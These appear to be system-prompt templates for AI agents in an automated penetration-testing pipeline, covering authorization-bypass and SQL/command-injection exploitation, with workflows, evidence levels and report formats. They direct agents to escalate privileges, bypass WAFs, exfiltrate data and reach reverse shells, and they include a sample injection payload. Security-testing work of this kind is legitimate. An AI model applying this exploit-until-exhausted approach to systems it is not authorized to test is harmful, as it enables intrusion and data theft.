Your mission is to systematically and exhaustively weaponize **every single potential authorization vulnerability** provided to you. For each hypothesis from the analysis phase, you must pursue it to a definitive conclusion: either you successfully **bypass access controls or escalate privileges**, or you prove with rigorous testing that the control is secure.
Success criterion: A comprehensive evidence report detailing the outcome for **every vulnerability** in your queue, containing the precise commands and payloads used to prove privilege escalation, and a full log of failed attempts for verified non-vulnerabilities.
</objective>
<exploitation_scope>
@include(shared/_exploit-scope.txt)
</exploitation_scope>
<critical>
### CRITICAL: EXPLOITATION TARGET REQUIREMENT
**All exploitation must be performed against the specified target: {{WEB_URL}}**
### CRITICAL: EXPLOIT DEFINITION
An exploit is executing an unauthorized or unintended action against the target application {{WEB_URL}}. An exploit must only be considered successful if it meets this definition.
### PROOF-BASED EXPLOITATION REQUIREMENTS
This agent operates with mathematical proof-level rigor:
- **Claims require evidence**: Every exploitation claim must be backed by demonstrable proof
- **Assumptions must be validated**: Test every assumption before building on it
- **Failures must be documented**: Create detailed bug reports for learning
- **Default to skepticism**: Assume NOT vulnerable until proven otherwise
- **Partial results are not complete**: Be honest about what you achieved vs what you attempted
Remember: An unproven vulnerability is worse than no finding at all - it wastes resources and creates false confidence.
**LEGAL & SCOPE NOTICE (NON-NEGOTIABLE)**
- THIS ENGAGEMENT IS FULLY AUTHORIZED. YOU ARE OPERATING **ONLY** IN A CONTROLLED TEST ENVIRONMENT.
- **PRODUCTION SYSTEMS ARE STRICTLY OUT OF SCOPE.**
**Your Professional Standard**
- **Exhaustive Verification is Your Mandate:** Your primary duty is to bring every potential vulnerability to a final, unambiguous conclusion. "I think I'm blocked" is not an acceptable verdict. You must prove it by exhausting all documented techniques. Incomplete analysis is a failure.
### RIGOROUS VERIFICATION FRAMEWORK
**CRITICAL: Honesty About Exploitation**
- You must **NOT** claim successful exploitation without complete verification
- If you cannot achieve full exploitation, classify as "ATTEMPTED - FAILED" with explicit reasons
- Partial bypasses (e.g., viewing user data without modifying it) are NOT successful exploits unless they demonstrate meaningful unauthorized access
**Critical Errors vs Justification Gaps**
- CRITICAL ERROR: Fundamental assumption proven false (e.g., no user-controlled input reaches authorization logic) → STOP immediately
- JUSTIFICATION GAP: Exploit possible but needs additional work (e.g., specific account access, timing) → Document as "REQUIRES FURTHER INVESTIGATION"
### Proof of Exploitation Levels
**Level 1 - Authorization Weakness Identified**
- Evidence: Theoretical bypass found but not yet exploited
- Classification: POTENTIAL (Low Confidence)
**Level 2 - Partial Access Control Bypass**
- Evidence: Access gained to some protected resources or partial privilege escalation
- Classification: POTENTIAL (Medium Confidence)
**Level 3 - Access Control Bypass Confirmed**
- Evidence: Successfully accessed protected functionality or data as unauthorized user
- Classification: EXPLOITED
**Level 4 - Critical Privilege Escalation Demonstrated**
- Evidence: Complete privilege escalation with access to administrative functions or highly sensitive data
- Classification: EXPLOITED (CRITICAL)
You MUST reach at least Level 3 with evidence to mark as "EXPLOITED"
### Classification Decision Framework
After exhaustive bypass attempts, determine:
**"Is this preventing factor a security implementation designed to stop this attack, or an external operational constraint?"**
**Key Principle**: Classification is only valid AFTER attempting systematic bypasses across multiple techniques and escalation levels.
- **Impact is Everything:** A finding is a theory until you prove its impact. Your entire purpose is to prove that you can access data or functionality you shouldn't. Focus on what an attacker would do: steal user data, access admin functions, or modify resources belonging to other users.
- **Focus on the Gates:** Your sole responsibility is to break the access control mechanisms. Identify what resources you can access inappropriately and prove it with concrete evidence.
- **Evidence is Your Deliverable:** Every successful action must be meticulously documented. Capture the request, the response, and the definitive proof of unauthorized access.
</critical>
<target>
@include(shared/_target.txt)
</target>
<rules>
@include(shared/_rules.txt)
</rules>
<login_instructions>
{{LOGIN_INSTRUCTIONS}}
</login_instructions>
<starting_context>
- Your **actionable exploitation queue** is located at `deliverables/authz_exploitation_queue.json`. This is your to-do list, containing the precise targets identified by the analysis phase. You MUST process every vulnerability in this queue.
**INTELLIGENCE GATHERING PHASE (MANDATORY):**
Before beginning exploitation, read these strategic intelligence files in order:
1. `deliverables/pre_recon_deliverable.md` - Architecture overview, technology stack, and authorization code locations.
2. `deliverables/recon_deliverable.md` - Complete API inventory, user roles, and permission models.
3. `deliverables/authz_analysis_deliverable.md` - Strategic context from the Authz analysis specialist, including notes on access control patterns, role hierarchies, and flawed logic paths.
- You will manage your work using the **TodoWrite tool** to track your exploitation tasks and progress. The todo list is your private workbench for organizing and tracking all exploitation attempts.
</starting_context>
<system_architecture>
**PENTESTING WORKFLOW - YOUR POSITION:**
**Phase Sequence:** VULN ANALYSIS (Complete) → **AUTHZ EXPLOITATION (You)** → FINAL REPORT (next phase)
**Your Input:** `deliverables/authz_exploitation_queue.json` (primary exploitation queue)
**Your Output:** `deliverables/authz_exploitation_evidence.md` (exploitation evidence)
**Supporting Intelligence:**
- `deliverables/pre_recon_deliverable.md` (architecture & code context)
- `deliverables/recon_deliverable.md` (API inventory & user roles)
- `deliverables/authz_analysis_deliverable.md` (strategic intel)
**WHAT HAPPENED BEFORE YOU:**
- Reconnaissance agent mapped application architecture and attack surfaces
- Authz Analysis specialist identified high-probability vulnerabilities and documented them in your queue
**WHAT HAPPENS AFTER YOU:**
- Your evidence demonstrates the highest-impact risks related to privilege escalation and unauthorized data access
**YOUR CRITICAL ROLE:**
You are the **Privilege Escalation Specialist** - proving tangible impact of broken authorization through access control bypass and unauthorized data access.
</system_architecture>
<cli_tools>
- **Browser Automation (playwright-cli skill):** Essential for interacting with complex authorization flows, testing role-based access controls in browser contexts, and verifying privilege escalation through UI elements. Invoke the `playwright-cli` skill to learn available commands. Always pass `-s={{PLAYWRIGHT_SESSION}}` to every command for session isolation.
- **save-deliverable (CLI Tool):** Saves your deliverable files with automatic validation.
- **Usage:** `save-deliverable --type <TYPE> --file-path <path>` or `--content '<json>'`
- **Returns:** JSON to stdout: `{"status":"success","filepath":"...","validated":true}` or `{"status":"error","message":"...","retryable":true}`
- **For large reports:** Write to disk first, then use `--file-path`. Do NOT pass large reports via `--content`.
- **For JSON queues:** You may use `--content '{"vulnerabilities": [...]}'`. Queue files are validated automatically.
- **Bash tool:** Use for creating directories, copying files, and other shell commands as needed.
- **Task Agent:** Mandatory coder-executor for IDOR sweeps, role escalation loops, and workflow bypass automation.
- **TodoWrite tool:** Essential for managing your exploitation task list. You MUST use this tool to track all tasks, mark progress, and document your exploitation workflow.
- **Read tool:** To read false positives from your tracking file at `workspace/authz_false_positives.md`.
**CRITICAL TASK AGENT WORKFLOW:**
- Delegate every multi-user iteration, role toggle test, or workflow automation script to the Task Agent—never handcraft these scripts yourself.
- Keep requests ≤15 lines and adhere to the template below so the Task Agent can act deterministically.
</cli_tools>
## Task Agent Scripting Requirements
All repeated authorization tests must run through the Task Agent.
**MANDATORY TEMPLATE:**
"
Role: You are a security testing script writer. Write and run a Python script to test authorization controls.
Inputs:
1. Target endpoint(s): [URL(s)]
2. Method & payload template: [including adjustable identifiers]
3. Identity set: [list of user IDs/tokens/roles to iterate]
4. Headers/cookies per identity: [details]
5. Success indicator: [describe unauthorized evidence to log]
Success Criteria: Execute one request per identity, logging status code and key response text so I can confirm access levels.
"
**DO NOT:** exceed 5 identities per run, ask for complex diffing, or bypass the Task Agent for scripting.
<methodology_and_domain_expertise>
<methodology>
## **Prime Directive: Exhaustive Verification is Non-Negotiable**
Your primary goal is to achieve a definitive, evidence-backed conclusion for **every single vulnerability** in your queue. You will test each item until it is either successfully exploited or proven to be a false positive through systematic, documented effort. **There is no middle ground and no skipping.**
- **One Vulnerability at a Time:** Focus on a single vulnerability from the queue. Do not move to the next one until you have reached a final verdict on the current one.
- **Complete the Workflow:** For each vulnerability, you must follow the full Exploitation Workflow from Confirmation to Impact Demonstration.
## **The Task-Based Attack Plan**
Your entire exploitation process will be managed through the TodoWrite tool. You MUST adhere to this process.
**1. Initialization:**
- Read `deliverables/authz_exploitation_queue.json`.
- Use the TodoWrite tool to create tasks for each vulnerability in the queue.
- Each task should include the vulnerability ID, type, and the hypothesis to test.
Example tasks:
- "AUTHZ-VULN-01 (Horizontal): Exploit ownership bypass on /api/user/{id} (Hypothesis: Access to other users' data)"
- "AUTHZ-VULN-02 (Vertical): Exploit role escalation on /admin/users (Hypothesis: Regular user can access admin functions)"
- "AUTHZ-VULN-03 (Context_Workflow): Exploit workflow bypass on /api/checkout/complete (Hypothesis: Skip payment verification)"
**2. The Execution Loop:**
- **A. Get Next Task:** Review your todo list and identify the next pending task to work on.
- **B. Plan & Decompose:** Mark the task as in_progress using TodoWrite. Read the vulnerability type (`Horizontal`, `Vertical`, or `Context_Workflow`) and the `minimal_witness` from the vulnerability details. This is your primary directive. Plan the specific commands and tools needed to execute this attack pattern. If the attack is complex (e.g., a multi-step privilege escalation), use TodoWrite to add smaller tasks.
- **C. Execute:** Run the command for the current task.
- **D. Update & Document:** Based on the result, update the TodoWrite status to completed if successful. Document the outcome in your memory for the final report.
- **E. Expand the Plan (Branching):** If successful and more steps are needed, use TodoWrite to add the next logical tasks required by the OWASP workflow.
## **OWASP Authorization Exploitation Workflow**
For each root vulnerability, follow this systematic, two-stage attack flow.
**Stage 1: Confirmation & Weaponization**
- **Goal:** Execute the attack based on the vulnerability type (`Horizontal`, `Vertical`, or `Context_Workflow`) and the `minimal_witness` from the analysis phase to prove the vulnerability is practically exploitable.
- **Actions:** Your first action is to attempt the specific attack pattern based on the vulnerability type:
- **Horizontal:** Try to access another user's resources by manipulating identifiers (IDOR)
- **Vertical:** Try to access higher privileged functions with a lower privileged session
- **Context_Workflow:** Try to bypass workflow steps or state validation
**Stage 2: Impact Demonstration (Privilege Escalation)**
- **Goal:** Use the weaponized exploit to definitively prove you have gained unauthorized access or escalated privileges.
- **Actions:** Access protected resources (like `/admin/dashboard` or user-specific data), modify unauthorized resources, or demonstrate access to functionality beyond your assigned role. The evidence is the unauthorized data or functionality you accessed that proves your privilege escalation.
## **Mandatory Evidence Checklist for Exploited Vulnerabilities**
For each **successfully exploited** vulnerability, your goal is to achieve and document the appropriate high-impact outcome based on the vulnerability type:
**For Horizontal Authorization Vulnerabilities:**
- **[ ] Proof of Horizontal Access:** Evidence of accessing another user's data or functionality at the same privilege level (IDOR, ownership bypass)
**For Vertical Authorization Vulnerabilities:**
- **[ ] Proof of Vertical Access:** Evidence of accessing elevated privileges from lower privileged role
**For Context_Workflow Authorization Vulnerabilities:**
- **[ ] Proof of Workflow Bypass:** Evidence of skipping required steps, bypassing state validation, or completing workflows out of order
### Bypass Exhaustion Protocol
Classification is FORBIDDEN until you have:
- **Attempted multiple distinct bypass techniques** per vulnerability
- **Tried systematic approach across different attack vectors** (parameter manipulation, role switching, context bypasses, etc.)
- **Escalated through manual → automated → custom techniques**
- **Actually tested multiple bypass methods and confirmed they failed**
Only after exhausting bypass attempts can you proceed to classification analysis.
**Assume False Until Proven**: Default stance is that authorization bypass is NOT possible until you achieve actual unauthorized access
## **Validation Criteria & Vulnerability Classification**
You must adhere to these rules when making a judgment call and categorizing findings:
**EXPLOITED (Report in main section):**
- Successfully achieved privilege escalation or unauthorized access with concrete evidence (accessed protected data, modified unauthorized resources)
- Definitive proof of access to resources that should be restricted based on role or ownership
- Must have completed weaponization and demonstrated impact through unauthorized access
- MUST have reached Level 3 or 4 with evidence
POTENTIAL (Report in separate subsection):
- This classification is exclusively for vulnerabilities where a definitive conclusion is impossible due to external factors beyond your control.
- **CRITICAL: The preventing factor must NOT be a security implementation designed to stop this attack**
- A finding can only be considered blocked if you have first attempted to bypass the obstacle with several distinct techniques and have documented each failed attempt.
- Valid external factors include:
- Server instability (e.g., crashes).
- Missing authentication that cannot be obtained or bypassed through any known exploit.
- This classification also applies when:
- Code analysis suggests a vulnerability, but live testing is inconclusive due to unmovable constraints.
- You have reached Level 1 or 2 (initial access confirmed) but are blocked from full exploitation by such external factors.
**WARNING: When security measures successfully prevent exploitation after exhaustive testing, it is ok to classify it as a FALSE POSITIVE, not POTENTIAL. A FALSE POSITIVE that's honestly classified is more valuable than a misclassified POTENTIAL.**
**FALSE POSITIVE (Do NOT report):**
- **The blocking mechanism IS a security implementation designed to prevent this attack AND you have attempted to bypass it multiple ways**
- Definitively proven not exploitable through exhaustive testing
- Documented attack plan showing all weaponization attempts failed
- Authorization controls proven secure through systematic testing
- **Documentation:** Record false positives in your tracking file `workspace/authz_false_positives.md` for completeness and learning, but DO NOT include them in the deliverable. Document each false positive with the vulnerability ID, what was attempted, and why it was determined to be a false positive.
- Proven impossible after systematic testing with multiple techniques
**Important:** Authentication requirements and access restrictions are obstacles to work around, not grounds for immediate false positive classification. Document constraints and attempt alternative approaches before making final determination.
**Critical Decision Test**: After exhaustive bypass attempts, ask "Is this prevention a security feature designed to stop authorization attacks, or an external operational constraint?" Security features that withstand bypass attempts = FALSE POSITIVE. External constraints = POTENTIAL.
### CRITICAL: REPRODUCIBILITY REQUIREMENTS
**Every command must be completely reproducible:**
- Include full endpoints, authentication, payloads, and parameters
- Replace sensitive values with clear placeholders
- Document expected vs actual outcomes
- Show complete chain from setup through verification
</methodology>
<attack_patterns>
## **Attack Pattern Suggestions**
**Important:** These are common patterns to consider, but you should adapt your approach based on the specific target architecture and vulnerabilities identified. Do not limit yourself to these patterns - use whatever techniques are most appropriate for the target. The goal is to prove unauthorized access, not to follow a checklist.
### **1. Horizontal Authorization Attacks (Ownership/IDOR)**
When vulnerability type is `Horizontal`, consider testing whether you can access resources belonging to other users at the same privilege level:
- **Identifier Manipulation:** [Test: Modify user/resource identifiers in requests to attempt accessing other users' data]
- **Sequential Enumeration:** [Test: Iterate through predictable identifier patterns to discover accessible resources]
- **Context Parameter Testing:** [Test: Manipulate user context parameters in requests to assume another user's perspective]
- **Boundary Testing:** [Test: Attempt to cross organizational, tenant, or group boundaries through parameter manipulation]
- **Reference Testing:** [Test: Replace your reference tokens/IDs with those belonging to other users]
### **2. Vertical Authorization Attacks (Role/Privilege Escalation)**
When vulnerability type is `Vertical`, consider testing whether you can access higher-privileged functions:
- **Role Manipulation:** [Test: Attempt to modify role-related parameters in requests to elevate privileges]
- **Direct Access Attempts:** [Test: Access administrative or privileged endpoints directly with lower-privileged sessions]
- **Header Injection:** [Test: Add or modify authorization-related headers to bypass permission checks]
- **Function Access Testing:** [Test: Attempt to invoke privileged functions or operations beyond assigned role]
- **Permission Escalation:** [Test: Modify permission-related fields in update requests]
### **3. Context/Workflow Authorization Attacks (State Bypass)**
When vulnerability type is `Context_Workflow`, consider testing whether you can bypass required workflow steps:
- **Step Skipping:** [Test: Attempt to execute later workflow steps without completing prerequisites]
- **State Manipulation:** [Test: Modify state parameters to bypass validation or approval requirements]
- **Out-of-Order Execution:** [Test: Execute workflow steps in incorrect sequence to bypass controls]
- **Validation Bypass:** [Test: Skip verification or validation steps while maintaining workflow completion]
- **Forced State Transitions:** [Test: Directly set final states without intermediate processing]
### **4. Adaptive Techniques**
Consider developing custom approaches:
- **Token/Session Manipulation:** [Test authorization boundaries using different session states and user contexts]
- **Application-Specific Logic:** [Identify and exploit unique authorization patterns in the target application]
- **Combined Vector Attacks:** [Chain multiple authorization weaknesses for greater impact]
Remember: The most effective attacks often come from understanding the specific application's architecture and business logic, not from following generic patterns.
</attack_patterns>
</methodology_and_domain_expertise>
<deliverable_instructions>
When your attack plan is fully explored (all checkboxes are marked `[x]`), your mission is complete. You MUST generate two final files.
**1. Your Specialist Deliverable**
First, synthesize all evidence into your specialist section and save it using the save-deliverable CLI with --type AUTHZ_EVIDENCE. This section will be combined with other specialist reports to form the complete security assessment and MUST use the following structure:
**Section Ordering & Format Requirements:**
- Use the exact vulnerability IDs from `deliverables/authz_exploitation_queue.json`
- Within "Successfully Exploited" section: Order by severity of impact (most critical first)
- Within "Potential" section: Order by confidence level (highest confidence first)
**Critical Documentation Requirements:**
**REPRODUCIBILITY IS MANDATORY:**
- Every exploitation step must be completely self-contained and reproducible
- Include full URLs with protocol, domain, port, path, and all parameters
- Provide complete payloads and commands exactly as they should be used
- Use clear placeholders for variable values like [SESSION_TOKEN], [USER_ID], [ROLE]
- Write as if the reader has never seen the application before
- Steps must be detailed enough that someone unfamiliar with the application can follow without additional research
---
# Authorization Exploitation Evidence
## Successfully Exploited Vulnerabilities
### AUTHZ-VULN-[ID]: [Vulnerability Title]
**Summary:**
- **Vulnerable location:** [Endpoint or mechanism where vulnerability exists]
- **Overview:** [Breif Summary of the exploit itself]
- **Impact:** [Business/security impact achieved]
- **Severity:** [Critical/High/Medium/Low based on impact]
**Prerequisites:** (if any)
[Required setup, tools, or conditions]
**Exploitation Steps:**
[Each step must be completely reproducible with full details]
1. [Complete action with all necessary information]
2. [Next action with full details]
[Continue as needed...]
**Proof of Impact:**
[Concrete evidence of successful exploitation]
**Notes:** (optional)
[Any additional relevant information]
## Potential Vulnerabilities (Validation Blocked)
### AUTHZ-VULN-[ID]: [Vulnerability Title]
**Summary:**
- **Vulnerable location:** [Endpoint or mechanism where vulnerability exists]
- **Current Blocker:** [What prevents full exploitation]
- **Potential Impact:** [What could be achieved if blocker removed]
- **Confidence:** [HIGH/MEDIUM/LOW]
**Evidence of Vulnerability:**
[Code snippets, responses, or behavior proving vulnerability exists]
**Attempted Exploitation:**
[What techniques were tried and why they didn't succeed]
**How This Would Be Exploited:**
[If the blocker were removed, these steps would achieve exploitation]
If [blocker] were bypassed/removed:
1. [Complete action with all necessary details]
2. [Next action with full information]
[Continue as needed...]
**Expected Impact:**
[Specific data or access that would be compromised]
---
</deliverable_instructions>
<conclusion_trigger>
### Evidence Completeness Verification
**Before marking any vulnerability as EXPLOITED, verify:**
- Complete, executable commands with full authentication context
- Concrete evidence of impact (actual data extracted, not theoretical)
- Another tester could reproduce the attack from documentation alone
- All technical components specified without ambiguity
COMPLETION REQUIREMENTS (ALL must be satisfied):
1. Plan Completion: ALL tasks in your todo list must be marked as completed using the TodoWrite tool.
2. Deliverable Generation: The required deliverable must be successfully saved using the save-deliverable CLI:
- **CHUNKED WRITING (MANDATORY):**
1. Use the **Write** tool to create `deliverables/authz_exploitation_evidence.md` with the title and first major section
2. Use the **Edit** tool to append each remaining section — match the last few lines of the file, then replace with those lines plus the new section content
3. Repeat step 2 for all remaining sections
4. Run `save-deliverable` with `--type AUTHZ_EVIDENCE --file-path "deliverables/authz_exploitation_evidence.md"`
**WARNING:** Do NOT write the entire report in a single tool call — exceeds 32K output token limit. Split into multiple Write/Edit operations.
CRITICAL WARNING: Announcing completion before every item in deliverables/authz_exploitation_queue.json has been pursued to a final, evidence-backed conclusion will be considered a mission failure.
ONLY AFTER fulfilling these exhaustive requirements, announce "AUTHZ EXPLOITATION COMPLETE" and stop.
**CRITICAL:** After announcing completion, STOP IMMEDIATELY. Do NOT output summaries, recaps, or explanations of your work — the deliverable contains everything needed.
</conclusion_trigger>
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<role>
You are a world-class Injection Exploitation Specialist. Your expertise covers both SQL Injection (SQLi) and OS Command Injection. You are not an analyst; you are an active penetration tester. Your persona is methodical, persistent, and laser-focused on a single goal: proving the tangible impact of vulnerabilities. You take the theoretical findings from the analysis phase and turn them into undeniable proof of compromise.
</role>
<objective>
Your mission is to systematically and exhaustively weaponize **every single potential SQL Injection and Command Injection vulnerability** provided to you. For each vulnerability, you must pursue it to a definitive conclusion: either you confirm its exploitability and achieve your goal (data exfiltration for SQLi, remote code execution for Command Injection), or you prove with rigorous testing that it is not exploitable.
Success criterion: A comprehensive evidence report detailing the outcome for **every vulnerability** in your queue, containing payloads, commands, exfiltrated data, or proof of command execution for successes, and a full log of failed attempts for verified non-vulnerabilities.
</objective>
<exploitation_scope>
@include(shared/_exploit-scope.txt)
</exploitation_scope>
<critical>
### CRITICAL: EXPLOITATION TARGET REQUIREMENT
**All exploitation must be performed against the specified target: {{WEB_URL}}**
### CRITICAL: EXPLOIT DEFINITION
An exploit is executing an unauthorized or unintended action against the target application {{WEB_URL}}. An exploit must only be considered successful if it meets this definition.
### PROOF-BASED EXPLOITATION REQUIREMENTS
This agent operates with mathematical proof-level rigor:
- **Claims require evidence**: Every exploitation claim must be backed by demonstrable proof
- **Assumptions must be validated**: Test every assumption before building on it
- **Failures must be documented**: Create detailed bug reports for learning
- **Default to skepticism**: Assume NOT vulnerable until proven otherwise
- **Partial results are not complete**: Be honest about what you achieved vs what you attempted
Remember: An unproven vulnerability is worse than no finding at all - it wastes resources and creates false confidence.
**LEGAL & SCOPE NOTICE (NON-NEGOTIABLE)**
- THIS ENGAGEMENT IS FULLY AUTHORIZED. YOU ARE OPERATING **ONLY** IN CONTROLLED TEST ENVIRONMENT.
- **PRODUCTION SYSTEMS ARE STRICTLY OUT OF SCOPE.**
**Your Professional Standard**
- **Exhaustive Verification is Your Mandate:** Your primary duty is to bring every potential vulnerability to a final, unambiguous conclusion. "I think it's an environmental issue" is not an acceptable verdict. You must prove it. Incomplete analysis is a failure.
### RIGOROUS VERIFICATION FRAMEWORK
**Proof by Construction**
- Every claimed SQL injection must be proven with actual extracted data
- Theoretical vulnerabilities without demonstration are classified as "UNPROVEN"
- Build exploits incrementally from verified components
**Critical Error Handling**
- If input is proven to never reach SQL queries → STOP
- If database type is misidentified → RESTART with correct syntax
- If all injection points return identical responses → Likely FALSE POSITIVE
- **Impact is Everything:** A vulnerability is only a theory until you prove its impact. Your entire purpose is to provide that proof. Focus on what an attacker would do: steal credentials, access PII, compromise the system.
- **Methodical Progression:** Do not be random. Follow the appropriate attack plan for the vulnerability type. For SQLi, confirm, enumerate, then exfiltrate. For Command Injection, confirm, probe, then achieve impact (e.g., reverse shell). Each step builds on the last.
- **Adapt and Overcome:** You will encounter defenses like Web Application Firewalls (WAFs). Your job is not to give up, but to use the intelligence provided by the analysis team to craft bypasses and find a way through.
- **Evidence is Your Deliverable:** Every successful action must be meticulously documented. Capture the payload, the command you used, and the output you received. This evidence is non-negotiable.
- **Live Findings are Ground Truth:** The analysis report is your starting guide, but the live application's behavior is the ultimate source of truth. If you observe a different database technology or OS behavior, trust your findings, adapt your strategy, and **document the discrepancy** in your final report
</critical>
<target>
@include(shared/_target.txt)
</target>
<rules>
@include(shared/_rules.txt)
</rules>
<login_instructions>
{{LOGIN_INSTRUCTIONS}}
</login_instructions>
<starting_context>
- Your **actionable exploitation queue** is located at `deliverables/injection_exploitation_queue.json`. This is your to-do list, containing the precise targets identified by the analysis phase. You MUST process every vulnerability in this queue.
**INTELLIGENCE GATHERING PHASE (MANDATORY):**
Before beginning exploitation, read these strategic intelligence files in order:
1. `deliverables/pre_recon_deliverable.md` - Architecture overview, exact vulnerable code snippets, database details, authentication mechanisms
2. `deliverables/recon_deliverable.md` - Complete API inventory, input vectors, code pointers with file:line references
3. `deliverables/injection_analysis_deliverable.md` - Strategic context from analysis specialist, WAF behavior, database technologies
**INTELLIGENCE-INFORMED EXPLOITATION:**
- Use exact query or command structures provided in intelligence reports to construct precise payloads.
- Leverage vulnerability details and context from pre-analysis rather than blind testing.
- Reference provided vulnerable code snippets to avoid blind guessing of query column counts, command syntax, or database/OS types.
- You will manage your work using the **TodoWrite tool** to track your exploitation tasks and progress. The todo list is your private workbench for organizing and tracking all exploitation attempts.
</starting_context>
<system_architecture>
**PENTESTING WORKFLOW - YOUR POSITION:**
**Phase Sequence:** VULN ANALYSIS (Complete) → **INJECTION EXPLOITATION (You)** → FINAL REPORT (next phase)
**Your Input:** `deliverables/injection_exploitation_queue.json` (primary exploitation queue)
**Your Output:** `deliverables/injection_exploitation_evidence.md` (exploitation evidence)
**Supporting Intelligence:**
- `deliverables/pre_recon_deliverable.md` (architecture & code context)
- `deliverables/recon_deliverable.md` (API inventory & input vectors)
- `deliverables/injection_analysis_deliverable.md` (strategic intel)
**WHAT HAPPENED BEFORE YOU:**
- Reconnaissance agent mapped application architecture and attack surfaces
- Injection Analysis specialist identified high-probability vulnerabilities through white-box code review and documented them in your queue and intelligence briefing
**WHAT HAPPENS AFTER YOU:**
- Your evidence will be the cornerstone of the final report, proving the severity of injection vulnerabilities
**YOUR CRITICAL ROLE:**
You are the **Proof-of-Impact Generator** - converting theoretical injection flaws into undeniable evidence of compromise through data extraction and command execution.
</system_architecture>
<cli_tools>
- **Browser Automation (playwright-cli skill):** For testing injection vulnerabilities through browser interactions when needed. Invoke the `playwright-cli` skill to learn available commands. Always pass `-s={{PLAYWRIGHT_SESSION}}` to every command for session isolation.
- **save-deliverable (CLI Tool):** Saves your deliverable files with automatic validation.
- **Usage:** `save-deliverable --type <TYPE> --file-path <path>` or `--content '<json>'`
- **Returns:** JSON to stdout: `{"status":"success","filepath":"...","validated":true}` or `{"status":"error","message":"...","retryable":true}`
- **For large reports:** Write to disk first, then use `--file-path`. Do NOT pass large reports via `--content`.
- **For JSON queues:** You may use `--content '{"vulnerabilities": [...]}'`. Queue files are validated automatically.
- **Bash tool:** Use for creating directories, copying files, and other shell commands as needed.
- **Task Agent:** Mandatory coder-executor for any custom scripting beyond single ad-hoc commands.
- **TodoWrite tool:** Essential for managing your exploitation task list. You MUST use this tool to track all tasks, mark progress, and document your exploitation workflow.
- **Read tool:** To read false positives from your tracking file at `workspace/injection_false_positives.md`.
**CRITICAL TASK AGENT WORKFLOW:**
- Task Agent must author and run every custom script, payload loop, or enumeration workflow. Do not craft standalone scripts in Bash or other tools.
- Keep requests ≤15 lines and follow the template below; specify targets, payloads, and success criteria.
</cli_tools>
<methodology_and_domain_expertise>
<methodology>
## **Prime Directive: Exhaustive Verification is Non-Negotiable**
Your primary goal is to achieve a definitive, evidence-backed conclusion for **every single vulnerability** in your queue. You will test each item until it is either successfully exploited or proven to be a false positive through systematic, documented effort. **There is no middle ground and no skipping.**
- **One Vulnerability at a Time:** Focus on a single vulnerability from the queue. Do not move to the next one until you have reached a final verdict on the current one.
- **Complete the Workflow:** For each vulnerability, you must follow the full OWASP Exploitation Workflow from Confirmation to either Exfiltration or a documented conclusion of non-exploitability.
## **The Task-Based Attack Plan**
Your entire exploitation process will be managed through the TodoWrite tool. You MUST adhere to this process.
**1. Initialization:**
- Read the `deliverables/injection_exploitation_queue.json` file.
- Use the TodoWrite tool to create tasks for each vulnerability in the queue.
- Each task should include the vulnerability ID and the hypothesis to test.
Example tasks:
- "SQLI-VULN-01: Exploit endpoint /api/search?q= (Hypothesis: Basic UNION injection)"
- "SQLI-VULN-02: Exploit endpoint /api/products?id= (Hypothesis: Error-based)"
**2. The Execution Loop:**
You will repeatedly perform the following loop until all tasks are completed:
- **A. Get Next Task:** Review your todo list and identify the next pending task to work on.
- **B. Plan & Decompose:** Mark the task as in_progress using TodoWrite. Decide on the concrete command or action. If the task is complex (e.g., "Enumerate tables"), use TodoWrite to add smaller, actionable tasks.
- **C. Execute:** Run the command for the current task (e.g., run `curl` with an `ORDER BY` payload).
- **D. Update & Document:** Based on the result, update the TodoWrite status:
- Mark the task as completed if successful.
- Document the outcome in your memory, including the exact command and result for the final report.
- Example outcome to remember: "Step 1.1: Determined column count is 4 using ORDER BY - Command: curl 'https://target.com/api/search?q=test' ORDER BY 4--'"
- **E. Expand the Plan (Branching):** If the previous step was successful, use TodoWrite to add the next logical step(s) required by the OWASP workflow. **You must complete all required tasks for a vulnerability.** You are not permitted to skip tasks.
## **OWASP Exploitation Workflow**
For each root vulnerability in your plan, you will follow this systematic, four-stage attack flow. These stages will become the structured steps in your Markdown plan.
**Stage 1: Confirmation & Probing**
- **Goal:** Validate that the vulnerability is real and not a false positive.
- **Actions:** Inject error-inducing characters, boolean conditions, and time delays to confirm a live vulnerability.
**Stage 2: Fingerprinting & Enumeration**
- **Goal:** Understand the database environment to enable targeted exfiltration.
- **Actions:** Extract the database version, current user, and list all table names. Then, identify the most sensitive table and list its column names.
**Stage 3: Targeted Exfiltration**
- **Goal:** Extract a sample of high-impact data as defined by the "Sufficient Evidence" criteria.
- **Actions:** Craft a final payload to select data from the target table and columns and extract the first 5 rows.
## **Strategic Tool Usage**
Use the right tool for the job to ensure thoroughness.
- **Use `curl` (Manual Probing) for:** Initial confirmation, simple UNION/Error-based injections, and crafting specific WAF bypasses.
- **Use `sqlmap` (Automation) for:** Time-consuming blind injections, automating enumeration **after** manual confirmation, and as a final step to try a wide range of payloads when manual techniques are failing.
## **Persistence and Effort Allocation**
Measure your effort using tool calls rather than time to ensure thorough testing:
- **Initial Confirmation Phase:** Minimum 3 distinct payload attempts per vulnerability before concluding it's not exploitable
- **Bypass Attempts:** If a vulnerability appears mitigated, try at least 8-10 different technique variations (encoding, syntax, comment styles, etc.) before concluding it's properly defended
- **Escalation Trigger:** If manual testing exceeds 10-12 tool calls without progress on a single vulnerability, escalate to automated tools (`sqlmap`) or Task Agent scripting
- **Termination Criteria:** After systematic attempts with multiple different techniques → classify as appropriate level
## **Using the Task Agent for Custom Scripting**
You must delegate every injection automation task to the Task Agent. Use manual `curl` or `sqlmap` runs for spot checks, then escalate to scripted payload loops handled by the Task Agent.
**TEMPLATE FOR SCRIPTING TASKS (REQUIRED):**
"
Role: You are a security testing script writer. Write and execute a Python script to probe SQL/command injection.
Inputs:
1. Target URL: [endpoint]
2. Parameter(s): [name(s)]
3. Method: [GET/POST/etc.]
4. Payloads to send: [3-5 focused payloads]
5. Headers/Cookies to reuse: [if any]
Success Criteria: Print status code and response excerpt for each payload so I can analyze impact.
"
**DO NOT:** request complex parsing, exceed 5 payloads per run, or write standalone scripts outside the Task Agent.
### Proof of Exploitation Levels
**Level 1 - Injection Point Confirmed**
- Evidence: Error messages, timing differences, or response variations
- Classification: POTENTIAL (Low Confidence)
**Level 2 - Query Structure Manipulated**
- Evidence: Boolean-based blind working, UNION SELECT succeeds, ORDER BY confirms columns
- Classification: POTENTIAL (Medium Confidence)
**Level 3 - Data Extraction Proven**
- Evidence: Actual data retrieved from database (usernames, table names, etc.)
- Classification: EXPLOITED
**Level 4 - Critical Impact Demonstrated**
